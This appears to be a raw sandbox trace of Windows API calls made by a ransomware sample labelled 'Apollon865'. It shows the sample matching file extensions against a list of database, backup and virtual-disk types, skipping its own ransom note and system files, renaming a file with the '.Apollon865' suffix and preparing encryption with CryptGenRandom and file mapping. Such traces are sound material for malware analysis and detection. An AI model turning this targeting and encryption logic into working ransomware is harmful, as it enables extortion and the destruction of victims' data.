	[0077.515] lstrlenW (lpString="dsn") returned 3
	[0077.515] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1
	[0077.515] lstrlenW (lpString="dtsx") returned 4
	[0077.515] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1
	[0077.515] lstrlenW (lpString="dxl") returned 3
	[0077.515] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1
	[0077.515] lstrlenW (lpString="eco") returned 3
	[0077.515] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1
	[0077.515] lstrlenW (lpString="ecx") returned 3
	[0077.515] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1
	[0077.515] lstrlenW (lpString="edb") returned 3
	[0077.515] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1
	[0077.515] lstrlenW (lpString="epim") returned 4
	[0077.515] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1
	[0077.515] lstrlenW (lpString="fcd") returned 3
	[0077.515] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1
	[0077.515] lstrlenW (lpString="fdb") returned 3
	[0077.516] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1
	[0077.516] lstrlenW (lpString="fic") returned 3
	[0077.516] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1
	[0077.516] lstrlenW (lpString="flexolibrary") returned 12
	[0077.516] lstrlenW (lpString="fm5") returned 3
	[0077.516] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1
	[0077.516] lstrlenW (lpString="fmp") returned 3
	[0077.516] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1
	[0077.516] lstrlenW (lpString="fmp12") returned 5
	[0077.516] lstrcmpiW (lpString1="W.cab", lpString2="fmp12") returned 1
	[0077.516] lstrlenW (lpString="fmpsl") returned 5
	[0077.516] lstrcmpiW (lpString1="W.cab", lpString2="fmpsl") returned 1
	[0077.516] lstrlenW (lpString="fol") returned 3
	[0077.516] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1
	[0077.516] lstrlenW (lpString="fp3") returned 3
	[0077.516] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1
	[0077.516] lstrlenW (lpString="fp4") returned 3
	[0077.516] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1
	[0077.516] lstrlenW (lpString="fp5") returned 3
	[0077.516] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1
	[0077.516] lstrlenW (lpString="fp7") returned 3
	[0077.516] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1
	[0077.516] lstrlenW (lpString="fpt") returned 3
	[0077.516] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1
	[0077.516] lstrlenW (lpString="frm") returned 3
	[0077.516] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1
	[0077.516] lstrlenW (lpString="gdb") returned 3
	[0077.516] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0077.516] lstrlenW (lpString="gdb") returned 3
	[0077.516] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0077.516] lstrlenW (lpString="grdb") returned 4
	[0077.516] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1
	[0077.516] lstrlenW (lpString="gwi") returned 3
	[0077.516] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1
	[0077.516] lstrlenW (lpString="hdb") returned 3
	[0077.516] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1
	[0077.516] lstrlenW (lpString="his") returned 3
	[0077.516] lstrcmpiW (lpString1="cab", lpString2="his") returned -1
	[0077.517] lstrlenW (lpString="ib") returned 2
	[0077.517] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1
	[0077.517] lstrlenW (lpString="idb") returned 3
	[0077.517] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1
	[0077.517] lstrlenW (lpString="ihx") returned 3
	[0077.517] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1
	[0077.517] lstrlenW (lpString="itdb") returned 4
	[0077.517] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1
	[0077.517] lstrlenW (lpString="itw") returned 3
	[0077.517] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1
	[0077.517] lstrlenW (lpString="jet") returned 3
	[0077.517] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1
	[0077.517] lstrlenW (lpString="jtx") returned 3
	[0077.518] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1
	[0077.518] lstrlenW (lpString="kdb") returned 3
	[0077.518] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1
	[0077.518] lstrlenW (lpString="kexi") returned 4
	[0077.518] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1
	[0077.518] lstrlenW (lpString="kexic") returned 5
	[0077.518] lstrcmpiW (lpString1="W.cab", lpString2="kexic") returned 1
	[0077.518] lstrlenW (lpString="kexis") returned 5
	[0077.518] lstrcmpiW (lpString1="W.cab", lpString2="kexis") returned 1
	[0077.518] lstrlenW (lpString="lgc") returned 3
	[0077.518] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1
	[0077.518] lstrlenW (lpString="lwx") returned 3
	[0077.518] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1
	[0077.518] lstrlenW (lpString="maf") returned 3
	[0077.518] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1
	[0077.518] lstrlenW (lpString="maq") returned 3
	[0077.518] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1
	[0077.518] lstrlenW (lpString="mar") returned 3
	[0077.518] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1
	[0077.518] lstrlenW (lpString="marshal") returned 7
	[0077.518] lstrcmpiW (lpString1="rWW.cab", lpString2="marshal") returned 1
	[0077.518] lstrlenW (lpString="mas") returned 3
	[0077.518] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1
	[0077.518] lstrlenW (lpString="mav") returned 3
	[0077.518] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1
	[0077.518] lstrlenW (lpString="maw") returned 3
	[0077.518] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1
	[0077.518] lstrlenW (lpString="mdbhtml") returned 7
	[0077.518] lstrcmpiW (lpString1="rWW.cab", lpString2="mdbhtml") returned 1
	[0077.518] lstrlenW (lpString="mdn") returned 3
	[0077.518] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1
	[0077.518] lstrlenW (lpString="mdt") returned 3
	[0077.518] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1
	[0077.519] lstrlenW (lpString="mfd") returned 3
	[0077.519] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1
	[0077.519] lstrlenW (lpString="mpd") returned 3
	[0077.519] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1
	[0077.519] lstrlenW (lpString="mrg") returned 3
	[0077.519] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1
	[0077.519] lstrlenW (lpString="mud") returned 3
	[0077.519] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1
	[0077.519] lstrlenW (lpString="mwb") returned 3
	[0077.519] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1
	[0077.519] lstrlenW (lpString="myd") returned 3
	[0077.519] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1
	[0077.519] lstrlenW (lpString="ndf") returned 3
	[0077.519] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1
	[0077.519] lstrlenW (lpString="nnt") returned 3
	[0077.519] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1
	[0077.519] lstrlenW (lpString="nrmlib") returned 6
	[0077.519] lstrcmpiW (lpString1="WW.cab", lpString2="nrmlib") returned 1
	[0077.519] lstrlenW (lpString="ns2") returned 3
	[0077.519] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1
	[0077.519] lstrlenW (lpString="ns3") returned 3
	[0077.519] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1
	[0077.519] lstrlenW (lpString="ns4") returned 3
	[0077.519] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1
	[0077.519] lstrlenW (lpString="nsf") returned 3
	[0077.519] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1
	[0077.519] lstrlenW (lpString="nv") returned 2
	[0077.519] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1
	[0077.519] lstrlenW (lpString="nv2") returned 3
	[0077.519] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1
	[0077.519] lstrlenW (lpString="nwdb") returned 4
	[0077.519] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1
	[0077.519] lstrlenW (lpString="nyf") returned 3
	[0077.519] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1
	[0077.519] lstrlenW (lpString="odb") returned 3
	[0077.519] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0077.519] lstrlenW (lpString="odb") returned 3
	[0077.519] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0077.519] lstrlenW (lpString="oqy") returned 3
	[0077.520] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1
	[0077.520] lstrlenW (lpString="ora") returned 3
	[0077.520] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1
	[0077.520] lstrlenW (lpString="orx") returned 3
	[0077.520] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1
	[0077.520] lstrlenW (lpString="owc") returned 3
	[0077.520] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1
	[0077.520] lstrlenW (lpString="p96") returned 3
	[0077.520] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1
	[0077.520] lstrlenW (lpString="p97") returned 3
	[0077.520] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1
	[0077.520] lstrlenW (lpString="pan") returned 3
	[0077.520] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1
	[0077.520] lstrlenW (lpString="pdb") returned 3
	[0077.520] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1
	[0077.520] lstrlenW (lpString="pdm") returned 3
	[0077.520] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1
	[0077.520] lstrlenW (lpString="pnz") returned 3
	[0077.520] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1
	[0077.521] lstrlenW (lpString="qry") returned 3
	[0077.521] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1
	[0077.521] lstrlenW (lpString="qvd") returned 3
	[0077.521] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1
	[0077.521] lstrlenW (lpString="rbf") returned 3
	[0077.521] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1
	[0077.521] lstrlenW (lpString="rctd") returned 4
	[0077.521] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1
	[0077.521] lstrlenW (lpString="rod") returned 3
	[0077.521] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1
	[0077.521] lstrlenW (lpString="rodx") returned 4
	[0077.521] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1
	[0077.521] lstrlenW (lpString="rpd") returned 3
	[0077.521] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1
	[0077.521] lstrlenW (lpString="rsd") returned 3
	[0077.521] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1
	[0077.521] lstrlenW (lpString="sas7bdat") returned 8
	[0077.521] lstrcmpiW (lpString1="orWW.cab", lpString2="sas7bdat") returned -1
	[0077.522] lstrlenW (lpString="sbf") returned 3
	[0077.522] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1
	[0077.522] lstrlenW (lpString="scx") returned 3
	[0077.522] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1
	[0077.522] lstrlenW (lpString="sdb") returned 3
	[0077.522] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1
	[0077.522] lstrlenW (lpString="sdc") returned 3
	[0077.522] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1
	[0077.522] lstrlenW (lpString="sdf") returned 3
	[0077.522] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1
	[0077.522] lstrlenW (lpString="sis") returned 3
	[0077.522] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1
	[0077.522] lstrlenW (lpString="spq") returned 3
	[0077.522] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1
	[0077.522] lstrlenW (lpString="te") returned 2
	[0077.522] lstrcmpiW (lpString1="ab", lpString2="te") returned -1
	[0077.522] lstrlenW (lpString="teacher") returned 7
	[0077.522] lstrcmpiW (lpString1="rWW.cab", lpString2="teacher") returned -1
	[0077.522] lstrlenW (lpString="tmd") returned 3
	[0077.522] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1
	[0077.522] lstrlenW (lpString="tps") returned 3
	[0077.522] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1
	[0077.522] lstrlenW (lpString="trc") returned 3
	[0077.522] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0077.522] lstrlenW (lpString="trc") returned 3
	[0077.522] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0077.522] lstrlenW (lpString="trm") returned 3
	[0077.522] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1
	[0077.522] lstrlenW (lpString="udb") returned 3
	[0077.522] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1
	[0077.522] lstrlenW (lpString="udl") returned 3
	[0077.522] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1
	[0077.522] lstrlenW (lpString="usr") returned 3
	[0077.522] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1
	[0077.522] lstrlenW (lpString="v12") returned 3
	[0077.522] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1
	[0077.522] lstrlenW (lpString="vis") returned 3
	[0077.523] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1
	[0077.523] lstrlenW (lpString="vpd") returned 3
	[0077.523] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1
	[0077.523] lstrlenW (lpString="vvv") returned 3
	[0077.523] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1
	[0077.523] lstrlenW (lpString="wdb") returned 3
	[0077.523] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1
	[0077.523] lstrlenW (lpString="wmdb") returned 4
	[0077.523] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1
	[0077.523] lstrlenW (lpString="wrk") returned 3
	[0077.523] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1
	[0077.523] lstrlenW (lpString="xdb") returned 3
	[0077.523] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1
	[0077.523] lstrlenW (lpString="xld") returned 3
	[0077.523] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1
	[0077.523] lstrlenW (lpString="xmlff") returned 5
	[0077.523] lstrcmpiW (lpString1="W.cab", lpString2="xmlff") returned -1
	[0077.523] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VisiorWW.msi", cAlternateFileName="")) returned 1
	[0077.523] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.523] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="Apollon865.txt.exe") returned 1
	[0077.523] lstrcmpiW (lpString1="VisiorWW.msi", lpString2=".") returned 1
	[0077.523] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="..") returned 1
	[0077.523] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="windows") returned -1
	[0077.523] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="bootmgr") returned 1
	[0077.523] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="temp") returned 1
	[0077.523] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="pagefile.sys") returned 1
	[0077.523] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="boot") returned 1
	[0077.523] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="ids.txt") returned 1
	[0077.523] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="ntuser.dat") returned 1
	[0077.523] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="perflogs") returned 1
	[0077.523] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="MSBuild") returned 1
	[0077.523] lstrlenW (lpString="VisiorWW.msi") returned 12
	[0077.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75
	[0077.523] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="VisiorWW.msi" | out: lpString1="VisiorWW.msi") returned="VisiorWW.msi"
	[0077.523] lstrlenW (lpString="VisiorWW.msi") returned 12
	[0077.523] lstrlenW (lpString="Apollon865") returned 10
	[0077.523] lstrcmpiW (lpString1="siorWW.msi", lpString2="Apollon865") returned 1
	[0077.524] lstrlenW (lpString=".dll") returned 4
	[0077.524] lstrcmpiW (lpString1="VisiorWW.msi", lpString2=".dll") returned 1
	[0077.524] lstrlenW (lpString=".lnk") returned 4
	[0077.524] lstrcmpiW (lpString1="VisiorWW.msi", lpString2=".lnk") returned 1
	[0077.524] lstrlenW (lpString=".ini") returned 4
	[0077.524] lstrcmpiW (lpString1="VisiorWW.msi", lpString2=".ini") returned 1
	[0077.524] lstrlenW (lpString=".sys") returned 4
	[0077.524] lstrcmpiW (lpString1="VisiorWW.msi", lpString2=".sys") returned 1
	[0077.524] lstrlenW (lpString="VisiorWW.msi") returned 12
	[0077.524] lstrlenW (lpString="bak") returned 3
	[0077.524] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0077.524] lstrlenW (lpString="ba_") returned 3
	[0077.524] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0077.524] lstrlenW (lpString="dbb") returned 3
	[0077.524] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0077.524] lstrlenW (lpString="vmdk") returned 4
	[0077.524] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0077.524] lstrlenW (lpString="rar") returned 3
	[0077.524] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0077.524] lstrlenW (lpString="zip") returned 3
	[0077.524] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0077.524] lstrlenW (lpString="tgz") returned 3
	[0077.524] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0077.524] lstrlenW (lpString="vbox") returned 4
	[0077.524] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0077.524] lstrlenW (lpString="vdi") returned 3
	[0077.524] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0077.524] lstrlenW (lpString="vhd") returned 3
	[0077.524] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0077.524] lstrlenW (lpString="vhdx") returned 4
	[0077.524] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0077.524] lstrlenW (lpString="avhd") returned 4
	[0077.524] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0077.524] lstrlenW (lpString="db") returned 2
	[0077.524] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0077.524] lstrlenW (lpString="db2") returned 3
	[0077.524] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0077.525] lstrlenW (lpString="db3") returned 3
	[0077.525] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0077.525] lstrlenW (lpString="dbf") returned 3
	[0077.525] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0077.525] lstrlenW (lpString="mdf") returned 3
	[0077.525] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0077.525] lstrlenW (lpString="mdb") returned 3
	[0077.525] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0077.525] lstrlenW (lpString="sql") returned 3
	[0077.525] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0077.525] lstrlenW (lpString="sqlite") returned 6
	[0077.525] lstrcmpiW (lpString1="WW.msi", lpString2="sqlite") returned 1
	[0077.525] lstrlenW (lpString="sqlite3") returned 7
	[0077.525] lstrcmpiW (lpString1="rWW.msi", lpString2="sqlite3") returned -1
	[0077.525] lstrlenW (lpString="sqlitedb") returned 8
	[0077.525] lstrcmpiW (lpString1="orWW.msi", lpString2="sqlitedb") returned -1
	[0077.525] lstrlenW (lpString="xml") returned 3
	[0077.525] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0077.525] lstrlenW (lpString="$er") returned 3
	[0077.525] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0077.525] lstrlenW (lpString="4dd") returned 3
	[0077.525] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0077.525] lstrlenW (lpString="4dl") returned 3
	[0077.525] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0077.525] lstrlenW (lpString="^^^") returned 3
	[0077.525] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0077.525] lstrlenW (lpString="abs") returned 3
	[0077.525] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0077.525] lstrlenW (lpString="abx") returned 3
	[0077.525] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0077.525] lstrlenW (lpString="accdb") returned 5
	[0077.525] lstrcmpiW (lpString1="W.msi", lpString2="accdb") returned 1
	[0077.526] lstrlenW (lpString="accdc") returned 5
	[0077.526] lstrcmpiW (lpString1="W.msi", lpString2="accdc") returned 1
	[0077.526] lstrlenW (lpString="accde") returned 5
	[0077.526] lstrcmpiW (lpString1="W.msi", lpString2="accde") returned 1
	[0077.526] lstrlenW (lpString="accdr") returned 5
	[0077.526] lstrcmpiW (lpString1="W.msi", lpString2="accdr") returned 1
	[0077.526] lstrlenW (lpString="accdt") returned 5
	[0077.526] lstrcmpiW (lpString1="W.msi", lpString2="accdt") returned 1
	[0077.526] lstrlenW (lpString="accdw") returned 5
	[0077.526] lstrcmpiW (lpString1="W.msi", lpString2="accdw") returned 1
	[0077.526] lstrlenW (lpString="accft") returned 5
	[0077.526] lstrcmpiW (lpString1="W.msi", lpString2="accft") returned 1
	[0077.526] lstrlenW (lpString="adb") returned 3
	[0077.526] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0077.526] lstrlenW (lpString="adb") returned 3
	[0077.526] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0077.526] lstrlenW (lpString="ade") returned 3
	[0077.526] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0077.526] lstrlenW (lpString="adf") returned 3
	[0077.526] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0077.526] lstrlenW (lpString="adn") returned 3
	[0077.526] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0077.526] lstrlenW (lpString="adp") returned 3
	[0077.526] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0077.526] lstrlenW (lpString="alf") returned 3
	[0077.526] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0077.526] lstrlenW (lpString="ask") returned 3
	[0077.526] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0077.526] lstrlenW (lpString="btr") returned 3
	[0077.526] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0077.526] lstrlenW (lpString="cat") returned 3
	[0077.526] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0077.526] lstrlenW (lpString="cdb") returned 3
	[0077.526] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0077.526] lstrlenW (lpString="ckp") returned 3
	[0077.526] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0077.526] lstrlenW (lpString="cma") returned 3
	[0077.527] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0077.527] lstrlenW (lpString="cpd") returned 3
	[0077.527] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0077.527] lstrlenW (lpString="dacpac") returned 6
	[0077.527] lstrcmpiW (lpString1="WW.msi", lpString2="dacpac") returned 1
	[0077.527] lstrlenW (lpString="dad") returned 3
	[0077.527] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0077.527] lstrlenW (lpString="dadiagrams") returned 10
	[0077.527] lstrcmpiW (lpString1="siorWW.msi", lpString2="dadiagrams") returned 1
	[0077.527] lstrlenW (lpString="daschema") returned 8
	[0077.527] lstrcmpiW (lpString1="orWW.msi", lpString2="daschema") returned 1
	[0077.527] lstrlenW (lpString="db-journal") returned 10
	[0077.527] lstrcmpiW (lpString1="siorWW.msi", lpString2="db-journal") returned 1
	[0077.527] lstrlenW (lpString="db-shm") returned 6
	[0077.527] lstrcmpiW (lpString1="WW.msi", lpString2="db-shm") returned 1
	[0077.527] lstrlenW (lpString="db-wal") returned 6
	[0077.527] lstrcmpiW (lpString1="WW.msi", lpString2="db-wal") returned 1
	[0077.527] lstrlenW (lpString="dbc") returned 3
	[0077.527] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0077.527] lstrlenW (lpString="dbs") returned 3
	[0077.527] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0077.527] lstrlenW (lpString="dbt") returned 3
	[0077.527] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0077.527] lstrlenW (lpString="dbv") returned 3
	[0077.527] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0077.527] lstrlenW (lpString="dbx") returned 3
	[0077.527] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0077.527] lstrlenW (lpString="dcb") returned 3
	[0077.527] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0077.527] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0077.528] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="VisiorWW.xml" | out: lpString1="VisiorWW.xml") returned="VisiorWW.xml"
	[0077.528] lstrlenW (lpString="VisiorWW.xml") returned 12
	[0077.528] lstrlenW (lpString="Apollon865") returned 10
	[0077.528] lstrcmpiW (lpString1="siorWW.xml", lpString2="Apollon865") returned 1
	[0077.528] lstrlenW (lpString=".dll") returned 4
	[0077.528] lstrcmpiW (lpString1="VisiorWW.xml", lpString2=".dll") returned 1
	[0077.528] lstrlenW (lpString=".lnk") returned 4
	[0077.528] lstrcmpiW (lpString1="VisiorWW.xml", lpString2=".lnk") returned 1
	[0077.528] lstrlenW (lpString=".ini") returned 4
	[0077.528] lstrcmpiW (lpString1="VisiorWW.xml", lpString2=".ini") returned 1
	[0077.528] lstrlenW (lpString=".sys") returned 4
	[0077.528] lstrcmpiW (lpString1="VisiorWW.xml", lpString2=".sys") returned 1
	[0077.528] lstrlenW (lpString="VisiorWW.xml") returned 12
	[0077.528] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.Apollon865") returned 86
	[0077.528] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.apollon865"), dwFlags=0x1) returned 1
	[0077.529] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0077.529] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=8723) returned 1
	[0077.530] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0077.530] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0077.530] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfe70
	[0077.530] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfef8) returned 1
	[0077.531] CryptGenRandom (in: hProv=0x5bfef8, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0077.531] CryptReleaseContext (hProv=0x5bfef8, dwFlags=0x0) returned 1
	[0077.531] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2520, lpName=0x0) returned 0x118
	[0077.532] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2520) returned 0x100000
